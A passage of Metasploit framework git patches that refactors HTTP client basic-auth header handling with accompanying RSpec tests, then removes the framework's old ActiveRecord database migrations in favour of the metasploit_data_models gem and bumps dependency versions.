opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' - opts['version'] = opts['version'] || config['version'] || '1.1' - - opts['client_config'] = self.config if opts['encode_params'] == true or opts['encode_params'].nil? opts['encode_params'] = true @@ -196,10 +189,6 @@ class Client opts['encode_params'] = false end - if opts['basic_auth'] and not opts['authorization'] - opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) - end - req = ClientRequest.new(opts) end @@ -321,11 +310,8 @@ class Client return res if opts['username'].nil? or opts['username'] == '' supported_auths = res.headers['WWW-Authenticate'] if supported_auths.include? 'Basic' - if opts['headers'] - opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] ) - else - opts['headers'] = { 'Authorization' => basic_auth_header(opts['username'],opts['password'] )} - end + opts['headers'] ||= {} + opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] ) req = request_cgi(opts) res = _send_recv(req,t,persist) return res diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index 62e1ede0e8..039d11559d 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -86,6 +86,12 @@ class ClientRequest def initialize(opts={}) @opts = DefaultConfig.merge(opts) + + # Backwards compatibility for wonky basic authentication api from + # the dawn of time. + if opts['basic_auth'] and not opts['authorization'] + @opts['authorization'] = "Basic #{Rex::Text.encode_base64(opts['basic_auth'])}" + end end def to_s @@ -162,12 +168,18 @@ class ClientRequest req << set_version req << set_host_header - # If an explicit User-Agent header is set, then use that instead of the value of user_agent + # If an explicit User-Agent header is set, then use that instead of + # the default unless opts['headers'].keys.map{|x| x.downcase }.include?('user-agent') req << set_agent_header end - req << set_auth_header + # Similar to user-agent, only add an automatic auth header if a + # manual one hasn't been provided + unless opts['headers'].keys.map{|x| x.downcase }.include?('authorization') + req << set_auth_header + end + req << set_cookie_header req << set_connection_header req << set_extra_headers @@ -388,7 +400,7 @@ class ClientRequest # def set_host_header return "" if opts['uri_full_url'] - host ||= opts['vhost'] + host = opts['vhost'] # IPv6 addresses must be placed in brackets if Rex::Socket.is_ipv6?(host) diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 426721cb6c..3bf44fcaa4 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -22,7 +22,8 @@ shared_context "with 'uri_dir_self_reference'" do end it "should have a self reference" do - client_request.send(:set_uri).should == "/./" + client_request.send(:set_uri).should include("/./") + client_request.to_s.should include("/./") end end @@ -34,6 +35,7 @@ shared_context "with 'uri_dir_fake_relative'" do it "should contain sequences of '../'" do client_request.send(:set_uri).should include("../") + client_request.to_s.should include("../") end end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 11177b90fe..bb2f642e38 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -55,6 +55,55 @@ describe Rex::Proto::Http::Client do it "should produce a CGI HTTP request" do req = cli.request_cgi req.should be_a_kind_of Rex::Proto::Http::ClientRequest + end + + context "with authorization" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli.set_config({"authorization" => "Basic base64dstuffhere"}) + cli + end + let(:user) { "user" } + let(:pass) { "pass" } + let(:base64) { ["user:pass"].pack('m').chomp } + + context "and an Authorization header" do + before do + cli.set_config({"headers" => { "Authorization" => "Basic #{base64}" } }) + end + it "should have one Authorization header" do + req = cli.request_cgi + match = req.to_s.match("Authorization: Basic") + match.should be + match.length.should == 1 + end + it "should prefer the value in the header" do + req = cli.request_cgi + match = req.to_s.match(/Authorization: Basic (.*)$/) + match.should be + match.captures.length.should == 1 + match.captures[0].chomp.should == base64 + end + end + + context "and basic_auth" do + before do + cli.set_config({"basic_auth" => "user:pass"}) + end + it "should not have two Authorization headers" do + req = cli.request_cgi + match = req.to_s.match("Authorization: Basic") + match.should be + match.length.should == 1 + end + it "should prefer basic_auth" do + req = cli.request_cgi + match = req.to_s.match(/Authorization: Basic (.*)$/) + match.should be + match.captures.length.should == 1 + match.captures[0].chomp.should == base64 + end + end end From 239e1934b8bc8d84b6daa1cbcef29b98aba41575 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 1 Mar 2013 09:03:45 -0600 Subject: [PATCH 392/448] Use migrations from metasploit_data_models [#44034071] metasploit_data_models version 0.5.0 copied the migrations from metasploit-framework/data/sql/migrate to metasploit_data_models/db/migrate so that specs could be written the Mdm models in metasploit_data_models. As part of the specs, :null => false columns that should be :null => true were discovered, so a new migration was added, but to metasploit_data_models/db/migrate, so it could be tested. Instead of replicating migrations back and forth, I'm removing the migrations completely from metasploit-framework and changing the default migration path in Msf::DbManager#migration_paths to MetasploitDataModels.root.join('db', 'migrate'). --- Gemfile | 2 +- Gemfile.lock | 14 +- data/sql/migrate/000_create_tables.rb | 79 --------- data/sql/migrate/001_add_wmap_tables.rb | 35 ---- data/sql/migrate/002_add_workspaces.rb | 36 ---- data/sql/migrate/003_move_notes.rb | 20 --- data/sql/migrate/004_add_events_table.rb | 16 -- data/sql/migrate/005_expand_info.rb | 58 ------- data/sql/migrate/006_add_timestamps.rb | 26 --- data/sql/migrate/007_add_loots.rb | 20 --- data/sql/migrate/008_create_users.rb | 16 -- data/sql/migrate/009_add_loots_ctype.rb | 10 -- data/sql/migrate/010_add_alert_fields.rb | 16 -- data/sql/migrate/011_add_reports.rb | 19 --- data/sql/migrate/012_add_tasks.rb | 24 --- data/sql/migrate/013_add_tasks_result.rb | 10 -- data/sql/migrate/014_add_loots_fields.rb | 12 -- data/sql/migrate/015_rename_user.rb | 16 -- data/sql/migrate/016_add_host_purpose.rb | 10 -- data/sql/migrate/017_expand_info2.rb | 58 ------- .../migrate/018_add_workspace_user_info.rb | 29 ---- data/sql/migrate/019_add_workspace_desc.rb | 23 --- data/sql/migrate/020_add_user_preferences.rb | 11 -- .../migrate/021_standardize_info_and_data.rb | 18 -- data/sql/migrate/022_enlarge_event_info.rb | 10 -- .../migrate/023_add_report_downloaded_at.rb | 10 -- .../024_convert_service_info_to_text.rb | 12 -- data/sql/migrate/025_add_user_admin.rb | 19 --- data/sql/migrate/026_add_creds_table.rb | 19 --- .../20100819123300_migrate_cred_data.rb | 154 ------------------ .../20100824151500_add_exploited_table.rb | 16 -- .../20100908001428_add_owner_to_workspaces.rb | 9 - .../20100911122000_add_report_templates.rb | 18 -- .../20100916151530_require_admin_flag.rb | 15 -- ...00916175000_add_campaigns_and_templates.rb | 61 ------- .../20100920012100_add_generate_exe_column.rb | 8 - .../20100926214000_add_template_prefs.rb | 11 -- .../migrate/20101001000000_add_web_tables.rb | 57 ------- data/sql/migrate/20101002000000_add_query.rb | 10 -- .../migrate/20101007000000_add_vuln_info.rb | 15 -- ...20101008111800_add_clients_to_campaigns.rb | 10 -- ...20101009023300_add_campaign_attachments.rb | 15 -- .../20101104135100_add_imported_creds.rb | 17 -- .../migrate/20101203000000_fix_web_tables.rb | 34 ---- .../20101203000001_expand_host_comment.rb | 12 -- ...2033_add_limit_to_network_to_workspaces.rb | 9 - ...20110112154300_add_module_uuid_to_tasks.rb | 9 - .../migrate/20110204112800_add_host_tags.rb | 28 ---- .../20110317144932_add_session_table.rb | 110 ------------- ...414180600_add_local_id_to_session_table.rb | 11 -- .../20110415175705_add_routes_table.rb | 18 -- .../migrate/20110422000000_convert_binary.rb | 72 -------- ...0110425095900_add_last_seen_to_sessions.rb | 8 - ...0110513143900_track_successful_exploits.rb | 31 ---- ...517160800_rename_and_prune_nessus_vulns.rb | 26 --- ...0527000000_add_task_id_to_reports_table.rb | 11 -- .../20110527000001_add_api_keys_table.rb | 12 -- .../20110606000001_add_macros_table.rb | 16 -- ...00_move_old_imported_creds_to_new_files.rb | 127 --------------- ...10622000000_add_settings_to_tasks_table.rb | 12 -- .../20110624000001_add_listeners_table.rb | 19 --- ...0625000001_add_macro_to_listeners_table.rb | 12 -- ...110630000001_add_nexpose_consoles_table.rb | 21 --- ...0002_add_name_to_nexpose_consoles_table.rb | 12 -- .../20110717000001_add_profiles_table.rb | 15 -- ...20110727163801_expand_cred_ptype_column.rb | 9 - .../20110730000001_add_initial_indexes.rb | 85 ---------- .../migrate/20110812000001_prune_indexes.rb | 23 --- .../migrate/20110922000000_expand_notes.rb | 9 - .../20110928101300_add_mod_ref_table.rb | 17 -- ...10000_add_display_name_to_reports_table.rb | 24 --- .../migrate/20111203000000_inet_columns.rb | 13 -- .../20111204000000_more_inet_columns.rb | 17 -- .../20111210000000_add_scope_to_hosts.rb | 9 - ...0120126110000_add_virtual_host_to_hosts.rb | 9 - ...20120411173220_rename_workspace_members.rb | 9 - ...20601152442_add_counter_caches_to_hosts.rb | 21 --- .../20120625000000_add_vuln_details.rb | 34 ---- .../20120625000001_add_host_details.rb | 16 -- .../migrate/20120625000002_expand_details.rb | 16 -- .../migrate/20120625000003_expand_details2.rb | 24 --- .../20120625000004_add_vuln_attempts.rb | 19 --- ...000005_add_vuln_and_host_counter_caches.rb | 14 -- .../20120625000006_add_module_details.rb | 118 -------------- .../20120625000007_add_exploit_attempts.rb | 26 --- .../20120625000008_add_fail_message.rb | 12 -- ...2805_add_owner_and_payload_to_web_vulns.rb | 13 -- lib/msf/core/db_manager.rb | 6 +- 88 files changed, 13 insertions(+), 2219 deletions(-) delete mode 100755 data/sql/migrate/000_create_tables.rb delete mode 100755 data/sql/migrate/001_add_wmap_tables.rb delete mode 100755 data/sql/migrate/002_add_workspaces.rb delete mode 100755 data/sql/migrate/003_move_notes.rb delete mode 100755 data/sql/migrate/004_add_events_table.rb delete mode 100755 data/sql/migrate/005_expand_info.rb delete mode 100755 data/sql/migrate/006_add_timestamps.rb delete mode 100755 data/sql/migrate/007_add_loots.rb delete mode 100755 data/sql/migrate/008_create_users.rb delete mode 100755 data/sql/migrate/009_add_loots_ctype.rb delete mode 100755 data/sql/migrate/010_add_alert_fields.rb delete mode 100755 data/sql/migrate/011_add_reports.rb delete mode 100755 data/sql/migrate/012_add_tasks.rb delete mode 100755 data/sql/migrate/013_add_tasks_result.rb delete mode 100755 data/sql/migrate/014_add_loots_fields.rb delete mode 100755 data/sql/migrate/015_rename_user.rb delete mode 100755 data/sql/migrate/016_add_host_purpose.rb delete mode 100755 data/sql/migrate/017_expand_info2.rb delete mode 100755 data/sql/migrate/018_add_workspace_user_info.rb delete mode 100755 data/sql/migrate/019_add_workspace_desc.rb delete mode 100755 data/sql/migrate/020_add_user_preferences.rb delete mode 100755 data/sql/migrate/021_standardize_info_and_data.rb delete mode 100755 data/sql/migrate/022_enlarge_event_info.rb delete mode 100755 data/sql/migrate/023_add_report_downloaded_at.rb delete mode 100755 data/sql/migrate/024_convert_service_info_to_text.rb delete mode 100755 data/sql/migrate/025_add_user_admin.rb delete mode 100755 data/sql/migrate/026_add_creds_table.rb delete mode 100755 data/sql/migrate/20100819123300_migrate_cred_data.rb delete mode 100755 data/sql/migrate/20100824151500_add_exploited_table.rb delete mode 100755 data/sql/migrate/20100908001428_add_owner_to_workspaces.rb delete mode 100755 data/sql/migrate/20100911122000_add_report_templates.rb delete mode 100755 data/sql/migrate/20100916151530_require_admin_flag.rb delete mode 100755 data/sql/migrate/20100916175000_add_campaigns_and_templates.rb delete mode 100755 data/sql/migrate/20100920012100_add_generate_exe_column.rb delete mode 100755 data/sql/migrate/20100926214000_add_template_prefs.rb delete mode 100755 data/sql/migrate/20101001000000_add_web_tables.rb delete mode 100755 data/sql/migrate/20101002000000_add_query.rb delete mode 100755 data/sql/migrate/20101007000000_add_vuln_info.rb delete mode 100755 data/sql/migrate/20101008111800_add_clients_to_campaigns.rb delete mode 100755 data/sql/migrate/20101009023300_add_campaign_attachments.rb delete mode 100755 data/sql/migrate/20101104135100_add_imported_creds.rb delete mode 100755 data/sql/migrate/20101203000000_fix_web_tables.rb delete mode 100755 data/sql/migrate/20101203000001_expand_host_comment.rb delete mode 100755 data/sql/migrate/20101206212033_add_limit_to_network_to_workspaces.rb delete mode 100755 data/sql/migrate/20110112154300_add_module_uuid_to_tasks.rb delete mode 100755 data/sql/migrate/20110204112800_add_host_tags.rb delete mode 100755 data/sql/migrate/20110317144932_add_session_table.rb delete mode 100755 data/sql/migrate/20110414180600_add_local_id_to_session_table.rb delete mode 100755 data/sql/migrate/20110415175705_add_routes_table.rb delete mode 100755 data/sql/migrate/20110422000000_convert_binary.rb delete mode 100755 data/sql/migrate/20110425095900_add_last_seen_to_sessions.rb delete mode 100755 data/sql/migrate/20110513143900_track_successful_exploits.rb delete mode 100755 data/sql/migrate/20110517160800_rename_and_prune_nessus_vulns.rb delete mode 100755 data/sql/migrate/20110527000000_add_task_id_to_reports_table.rb delete mode 100755 data/sql/migrate/20110527000001_add_api_keys_table.rb delete mode 100755 data/sql/migrate/20110606000001_add_macros_table.rb delete mode 100755 data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb delete mode 100755 data/sql/migrate/20110622000000_add_settings_to_tasks_table.rb delete mode 100755 data/sql/migrate/20110624000001_add_listeners_table.rb delete mode 100755 data/sql/migrate/20110625000001_add_macro_to_listeners_table.rb delete mode 100755 data/sql/migrate/20110630000001_add_nexpose_consoles_table.rb delete mode 100755 data/sql/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb delete mode 100755 data/sql/migrate/20110717000001_add_profiles_table.rb delete mode 100755 data/sql/migrate/20110727163801_expand_cred_ptype_column.rb delete mode 100755 data/sql/migrate/20110730000001_add_initial_indexes.rb delete mode 100755 data/sql/migrate/20110812000001_prune_indexes.rb delete mode 100755 data/sql/migrate/20110922000000_expand_notes.rb delete mode 100755 data/sql/migrate/20110928101300_add_mod_ref_table.rb delete mode 100755 data/sql/migrate/20111011110000_add_display_name_to_reports_table.rb delete mode 100755 data/sql/migrate/20111203000000_inet_columns.rb delete mode 100755 data/sql/migrate/20111204000000_more_inet_columns.rb delete mode 100755 data/sql/migrate/20111210000000_add_scope_to_hosts.rb delete mode 100755 data/sql/migrate/20120126110000_add_virtual_host_to_hosts.rb delete mode 100755 data/sql/migrate/20120411173220_rename_workspace_members.rb delete mode 100755 data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb delete mode 100755 data/sql/migrate/20120625000000_add_vuln_details.rb delete mode 100755 data/sql/migrate/20120625000001_add_host_details.rb delete mode 100755 data/sql/migrate/20120625000002_expand_details.rb delete mode 100755 data/sql/migrate/20120625000003_expand_details2.rb delete mode 100755 data/sql/migrate/20120625000004_add_vuln_attempts.rb delete mode 100755 data/sql/migrate/20120625000005_add_vuln_and_host_counter_caches.rb delete mode 100755 data/sql/migrate/20120625000006_add_module_details.rb delete mode 100755 data/sql/migrate/20120625000007_add_exploit_attempts.rb delete mode 100755 data/sql/migrate/20120625000008_add_fail_message.rb delete mode 100644 data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb diff --git a/Gemfile b/Gemfile index 3d5f14fe4c..9513b0a497 100755 --- a/Gemfile +++ b/Gemfile @@ -7,7 +7,7 @@ gem 'activerecord' # Needed for some admin modules (scrutinizer_add_user.rb) gem 'json' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0' +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.5.1' # Needed by msfgui and other rpc components gem 'msgpack' # Needed by anemone crawler diff --git a/Gemfile.lock b/Gemfile.lock index c50df873bf..6ac57f60f6 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,9 +1,9 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: 448c1065329efea1eac76a3897f626f122666743 - tag: 0.4.0 + revision: a56276f8f6d1f2d532c03d2900537cadf94e1411 + tag: 0.5.1 specs: - metasploit_data_models (0.4.0) + metasploit_data_models (0.5.1) activerecord (>= 3.2.10) activesupport pg @@ -25,7 +25,7 @@ GEM multi_json (~> 1.0) arel (3.0.2) builder (3.0.4) - coderay (1.0.8) + coderay (1.0.9) diff-lcs (1.1.3) i18n (0.6.1) json (1.7.7) @@ -35,10 +35,10 @@ GEM nokogiri (1.5.6) pcaprub (0.11.3) pg (0.14.1) - pry (0.9.10) + pry (0.9.12) coderay (~> 1.0.5) method_source (~> 0.8) - slop (~> 3.3.1) + slop (~> 3.4) rake (10.0.2) redcarpet (2.2.2) robots (0.10.1) @@ -54,7 +54,7 @@ GEM multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) - slop (3.3.3) + slop (3.4.3) tzinfo (0.3.35) yard (0.8.3) diff --git a/data/sql/migrate/000_create_tables.rb b/data/sql/migrate/000_create_tables.rb deleted file mode 100755 index efda742476..0000000000 --- a/data/sql/migrate/000_create_tables.rb +++ /dev/null @@ -1,79 +0,0 @@ -class CreateTables < ActiveRecord::Migration - - def self.up - - create_table :hosts do |t| - t.timestamp :created - t.string :address, :limit => 16 # unique - t.string :address6 - t.string :mac - t.string :comm - t.string :name - t.string :state - t.string :info, :limit => 1024 - t.string :os_name - t.string :os_flavor - t.string :os_sp - t.string :os_lang - t.string :arch - end - - add_index :hosts, :address, :unique => true - - create_table :clients do |t| - t.integer :host_id - t.timestamp :created - t.string :ua_string, :limit => 1024, :null => false - t.string :ua_name, :limit => 64 - t.string :ua_ver, :limit => 32 - end - - create_table :services do |t| - t.integer :host_id - t.timestamp :created - t.integer :port, :null => false - t.string :proto, :limit => 16, :null => false - t.string :state - t.string :name - t.string :info, :limit => 1024 - end - - create_table :vulns do |t| - t.integer :host_id - t.integer :service_id - t.timestamp :created - t.string :name - t.text :data - end - - create_table :refs do |t| - t.integer :ref_id - t.timestamp :created - t.string :name, :limit => 512 - end - - create_table :vulns_refs, :id => false do |t| - t.integer :ref_id - t.integer :vuln_id - end - - create_table :notes do |t| - t.integer :host_id - t.timestamp :created - t.string :ntype, :limit => 512 - t.text :data - end - - end - - def self.down - drop_table :hosts - drop_table :clients - drop_table :services - drop_table :vulns - drop_table :refs - drop_table :vulns_refs - drop_table :notes - end - -end diff --git a/data/sql/migrate/001_add_wmap_tables.rb b/data/sql/migrate/001_add_wmap_tables.rb deleted file mode 100755 index e0d37098c2..0000000000 --- a/data/sql/migrate/001_add_wmap_tables.rb +++ /dev/null @@ -1,35 +0,0 @@ -class AddWmapTables < ActiveRecord::Migration - def self.up - create_table :wmap_targets do |t| - t.string :host # vhost - t.string :address, :limit => 16 # unique - t.string :address6 - t.integer :port - t.integer :ssl - t.integer :selected - end - - create_table :wmap_requests do |t| - t.string :host # vhost - t.string :address, :limit => 16 # unique - t.string :address6 - t.integer :port - t.integer :ssl - t.string :meth, :limit => 32 - t.text :path - t.text :headers - t.text :query - t.text :body - t.string :respcode, :limit => 16 - t.text :resphead - t.text :response - t.timestamp :created - end - end - - def self.down - drop_table :wmap_targets - drop_table :wmap_requests - end -end - diff --git a/data/sql/migrate/002_add_workspaces.rb b/data/sql/migrate/002_add_workspaces.rb deleted file mode 100755 index 9afe792ef5..0000000000 --- a/data/sql/migrate/002_add_workspaces.rb +++ /dev/null @@ -1,36 +0,0 @@ -class AddWorkspaces < ActiveRecord::Migration - - def self.up - create_table :workspaces do |t| - t.string :name - t.timestamps - end - - change_table :hosts do |t| - t.integer :workspace_id, :required => true - end - - remove_index :hosts, :column => :address - - # - # This was broken after 018_add_workspace_user_info was introduced - # because of the new boundary column. For some reason, the - # find_or_create_by_name that .default eventually calls here tries to - # create a record with the boundary field that doesn't exist yet. - # See #1724 - # - #w = Msf::DBManager::Workspace.default - #Msf::DBManager::Host.update_all ["workspace_id = ?", w.id] - end - - def self.down - drop_table :workspaces - - change_table :hosts do |t| - t.remove :workspace_id - end - - add_index :hosts, :address, :unique => true - end - -end diff --git a/data/sql/migrate/003_move_notes.rb b/data/sql/migrate/003_move_notes.rb deleted file mode 100755 index 3aedba8e20..0000000000 --- a/data/sql/migrate/003_move_notes.rb +++ /dev/null @@ -1,20 +0,0 @@ -class MoveNotes < ActiveRecord::Migration - def self.up - # Remove the host requirement. We'll add the column back in below. - remove_column :notes, :host_id - change_table :notes do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.integer :service_id - t.integer :host_id - end - end - - def self.down - remove_column :notes, :workspace_id - remove_column :notes, :service_id - change_table :notes do |t| - t.integer :host_id, :null => false - end - end -end - diff --git a/data/sql/migrate/004_add_events_table.rb b/data/sql/migrate/004_add_events_table.rb deleted file mode 100755 index a89d75281e..0000000000 --- a/data/sql/migrate/004_add_events_table.rb +++ /dev/null @@ -1,16 +0,0 @@ -class AddEventsTable < ActiveRecord::Migration - def self.up - create_table :events do |t| - t.integer :workspace_id - t.integer :host_id - t.timestamp :created_at - t.string :user - t.string :name - t.string :info - end - end - def self.down - drop_table :events - end -end - diff --git a/data/sql/migrate/005_expand_info.rb b/data/sql/migrate/005_expand_info.rb deleted file mode 100755 index bd34021e11..0000000000 --- a/data/sql/migrate/005_expand_info.rb +++ /dev/null @@ -1,58 +0,0 @@ -class ExpandInfo < ActiveRecord::Migration - def self.up - remove_column :events, :info - change_table :events do |t| - t.string :info, :limit => 4096 - end - - remove_column :notes, :data - change_table :notes do |t| - t.string :data, :limit => 4096 - end - - remove_column :vulns, :data - change_table :vulns do |t| - t.string :data, :limit => 4096 - end - - remove_column :hosts, :info - change_table :hosts do |t| - t.string :info, :limit => 4096 - end - - remove_column :services, :info - change_table :services do |t| - t.string :info, :limit => 4096 - end - end - - def self.down - - remove_column :events, :info - change_table :events do |t| - t.string :info - end - - remove_column :notes, :data - change_table :notes do |t| - t.string :data, :limit => 1024 - end - - remove_column :hosts, :info - change_table :hosts do |t| - t.string :info, :limit => 1024 - end - - remove_column :vulns, :data - change_table :hosts do |t| - t.string :data, :limit => 1024 - end - - remove_column :services, :info - change_table :services do |t| - t.string :info, :limit => 1024 - end - - end -end - diff --git a/data/sql/migrate/006_add_timestamps.rb b/data/sql/migrate/006_add_timestamps.rb deleted file mode 100755 index 446a83aa29..0000000000 --- a/data/sql/migrate/006_add_timestamps.rb +++ /dev/null @@ -1,26 +0,0 @@ - -# Adds 'created_at' and 'updated_at' columns to every primary table. -# -class AddTimestamps < ActiveRecord::Migration - - @@TABLES_NEEDING_RENAME = [:clients, :hosts, :notes, :refs, :services, :vulns, :wmap_requests] - @@TABLES_NEEDING_CREATED_AT = [:wmap_targets] - @@TABLES_NEEDING_UPDATED_AT = [:clients, :events, :hosts, :notes, :refs, :services, :vulns, :wmap_requests, :wmap_targets] - - def self.up - @@TABLES_NEEDING_RENAME.each { |t| rename_column t, :created, :created_at } - - @@TABLES_NEEDING_CREATED_AT.each { |t| add_column t, :created_at, :datetime } - - @@TABLES_NEEDING_UPDATED_AT.each { |t| add_column t, :updated_at, :datetime } - end - - def self.down - @@TABLES_NEEDING_RENAME.each { |t| rename_column t, :created_at, :created } - - @@TABLES_NEEDING_CREATED_AT.each { |t| remove_column t, :created_at } - - @@TABLES_NEEDING_UPDATED_AT.each { |t| remove_column t, :updated_at } - end -end - diff --git a/data/sql/migrate/007_add_loots.rb b/data/sql/migrate/007_add_loots.rb deleted file mode 100755 index 32786f8cfb..0000000000 --- a/data/sql/migrate/007_add_loots.rb +++ /dev/null @@ -1,20 +0,0 @@ -class AddLoots < ActiveRecord::Migration - - def self.up - create_table :loots do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.integer :host_id - t.integer :service_id - t.string :ltype, :limit => 512 - t.string :path, :limit => 1024 - t.text :data - t.timestamps - end - end - - def self.down - drop_table :loots - end - -end - diff --git a/data/sql/migrate/008_create_users.rb b/data/sql/migrate/008_create_users.rb deleted file mode 100755 index 4cc32cc6e4..0000000000 --- a/data/sql/migrate/008_create_users.rb +++ /dev/null @@ -1,16 +0,0 @@ -class CreateUsers < ActiveRecord::Migration - def self.up - create_table :users do |t| - t.string :username - t.string :crypted_password - t.string :password_salt - t.string :persistence_token - - t.timestamps - end - end - - def self.down - drop_table :users - end -end diff --git a/data/sql/migrate/009_add_loots_ctype.rb b/data/sql/migrate/009_add_loots_ctype.rb deleted file mode 100755 index 0aad1366fb..0000000000 --- a/data/sql/migrate/009_add_loots_ctype.rb +++ /dev/null @@ -1,10 +0,0 @@ -class AddLootsCtype < ActiveRecord::Migration - def self.up - add_column :loots, :content_type, :string - end - - def self.down - remove_column :loots, :content_type - end -end - diff --git a/data/sql/migrate/010_add_alert_fields.rb b/data/sql/migrate/010_add_alert_fields.rb deleted file mode 100755 index f99dd68d32..0000000000 --- a/data/sql/migrate/010_add_alert_fields.rb +++ /dev/null @@ -1,16 +0,0 @@ -class AddAlertFields < ActiveRecord::Migration - def self.up - add_column :notes, :critical, :boolean - add_column :notes, :seen, :boolean - add_column :events, :critical, :boolean - add_column :events, :seen, :boolean - end - - def self.down - remove_column :notes, :critical - remove_column :notes, :seen - remove_column :events, :critical - remove_column :events, :seen - end -end - diff --git a/data/sql/migrate/011_add_reports.rb b/data/sql/migrate/011_add_reports.rb deleted file mode 100755 index 2f16e8b70d..0000000000 --- a/data/sql/migrate/011_add_reports.rb +++ /dev/null @@ -1,19 +0,0 @@ -class AddReports < ActiveRecord::Migration - - def self.up - create_table :reports do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :created_by - t.string :rtype - t.string :path, :limit => 1024 - t.text :options - t.timestamps - end - end - - def self.down - drop_table :reports - end - -end - diff --git a/data/sql/migrate/012_add_tasks.rb b/data/sql/migrate/012_add_tasks.rb deleted file mode 100755 index 39004c821e..0000000000 --- a/data/sql/migrate/012_add_tasks.rb +++ /dev/null @@ -1,24 +0,0 @@ -class AddTasks < ActiveRecord::Migration - - def self.up - create_table :tasks do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :created_by - t.string :module - t.datetime :completed_at - t.string :path, :limit => 1024 - t.string :info - t.string :description - t.integer :progress - t.text :options - t.text :error - t.timestamps - end - end - - def self.down - drop_table :tasks - end - -end - diff --git a/data/sql/migrate/013_add_tasks_result.rb b/data/sql/migrate/013_add_tasks_result.rb deleted file mode 100755 index bf01c7afb8..0000000000 --- a/data/sql/migrate/013_add_tasks_result.rb +++ /dev/null @@ -1,10 +0,0 @@ -class AddTasksResult < ActiveRecord::Migration - def self.up - add_column :tasks, :result, :text - end - - def self.down - remove_column :tasks, :result - end -end - diff --git a/data/sql/migrate/014_add_loots_fields.rb b/data/sql/migrate/014_add_loots_fields.rb deleted file mode 100755 index 616d8c96be..0000000000 --- a/data/sql/migrate/014_add_loots_fields.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddLootsFields < ActiveRecord::Migration - def self.up - add_column :loots, :name, :text - add_column :loots, :info, :text - end - - def self.down - remove_column :loots, :name - remove_column :loots, :info - end -end - diff --git a/data/sql/migrate/015_rename_user.rb b/data/sql/migrate/015_rename_user.rb deleted file mode 100755 index 7934a0f423..0000000000 --- a/data/sql/migrate/015_rename_user.rb +++ /dev/null @@ -1,16 +0,0 @@ -class RenameUser < ActiveRecord::Migration - def self.up - remove_column :events, :user - change_table :events do |t| - t.string :username - end - end - - def self.down - remove_column :events, :username - change_table :events do |t| - t.string :user - end - end -end - diff --git a/data/sql/migrate/016_add_host_purpose.rb b/data/sql/migrate/016_add_host_purpose.rb deleted file mode 100755 index 1e2827801e..0000000000 --- a/data/sql/migrate/016_add_host_purpose.rb +++ /dev/null @@ -1,10 +0,0 @@ -class AddHostPurpose < ActiveRecord::Migration - def self.up - add_column :hosts, :purpose, :text - end - - def self.down - remove_column :hosts, :purpose - end -end - diff --git a/data/sql/migrate/017_expand_info2.rb b/data/sql/migrate/017_expand_info2.rb deleted file mode 100755 index cee6fd8d3b..0000000000 --- a/data/sql/migrate/017_expand_info2.rb +++ /dev/null @@ -1,58 +0,0 @@ -class ExpandInfo2 < ActiveRecord::Migration - def self.up - remove_column :events, :info - change_table :events do |t| - t.string :info, :limit => 65536 - end - - remove_column :notes, :data - change_table :notes do |t| - t.string :data, :limit => 65536 - end - - remove_column :vulns, :data - change_table :vulns do |t| - t.string :data, :limit => 65536 - end - - remove_column :hosts, :info - change_table :hosts do |t| - t.string :info, :limit => 65536 - end - - remove_column :services, :info - change_table :services do |t| - t.string :info, :limit => 65536 - end - end - - def self.down - - remove_column :events, :info - change_table :events do |t| - t.string :info - end - - remove_column :notes, :data - change_table :notes do |t| - t.string :data, :limit => 4096 - end - - remove_column :hosts, :info - change_table :hosts do |t| - t.string :info, :limit => 4096 - end - - remove_column :vulns, :data - change_table :vulns do |t| - t.string :data, :limit => 4096 - end - - remove_column :services, :info - change_table :services do |t| - t.string :info, :limit => 4096 - end - - end -end - diff --git a/data/sql/migrate/018_add_workspace_user_info.rb b/data/sql/migrate/018_add_workspace_user_info.rb deleted file mode 100755 index fb5e101fc3..0000000000 --- a/data/sql/migrate/018_add_workspace_user_info.rb +++ /dev/null @@ -1,29 +0,0 @@ -class AddWorkspaceUserInfo < ActiveRecord::Migration - def self.up - change_table :workspaces do |t| - t.string :boundary, :limit => 4096 - end - - change_table :users do |t| - t.string :fullname - t.string :email - t.string :phone - t.string :company - end - end - - def self.down - change_table :workspaces do |t| - t.remove :boundary - end - - change_table :users do |t| - t.remove :fullname - t.remove :email - t.remove :phone - t.remove :company - end - end - -end - diff --git a/data/sql/migrate/019_add_workspace_desc.rb b/data/sql/migrate/019_add_workspace_desc.rb deleted file mode 100755 index 0dc31f0c61..0000000000 --- a/data/sql/migrate/019_add_workspace_desc.rb +++ /dev/null @@ -1,23 +0,0 @@ -class AddWorkspaceDesc < ActiveRecord::Migration - def self.up - change_table :workspaces do |t| - t.string :description, :limit => 4096 - end - - change_table :hosts do |t| - t.string :comments, :limit => 4096 - end - end - 